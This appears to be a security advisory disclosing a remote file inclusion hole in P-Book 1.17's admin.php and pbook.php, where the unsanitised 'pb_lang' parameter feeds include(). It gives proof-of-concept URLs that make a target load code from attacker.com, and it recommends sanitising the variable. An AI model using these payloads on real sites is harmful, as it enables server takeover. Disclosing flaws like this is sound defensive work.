Critical Lvl : Highly critical
Impact : System access
Where : From Remote
------------------------------------------------------------------------

Affected software description:
~~~~~~~~~~~~~~~~~~~~~~~~~~~~
PHP Live Helper
Application : P-Book
version : 1.17
URL : http://www.PPoPn.net
------------------------------------------------------------------------
---
Vulnerability:
~~~~~~~~~~~~~~
I found vulnerability script admin.php
-----------------------admin.php----------------------
....
<?
$time = $reload * 60;
include("$pb_lang/language.php");
...
----------------------------------------------------------
Input passed to the "pb_lang" parameter in admin.php is not
properly verified before being used. This can be exploited to execute
arbitrary PHP code by including files from local or external
resources.
Also affected files:
pbook.php
Proof Of Concept:
~~~~~~~~~~~~~~~
http://target.com/[p-book_path]/admin.php?pb_lang=http://attacker.com/in
ject.txt?
http://target.com/[p-book_path]/pbook.php?pb_lang=http://attacker.com/in
ject.txt?
Solution:
~~~~~~~
- Sanitize variable $pb_lang on affected files.
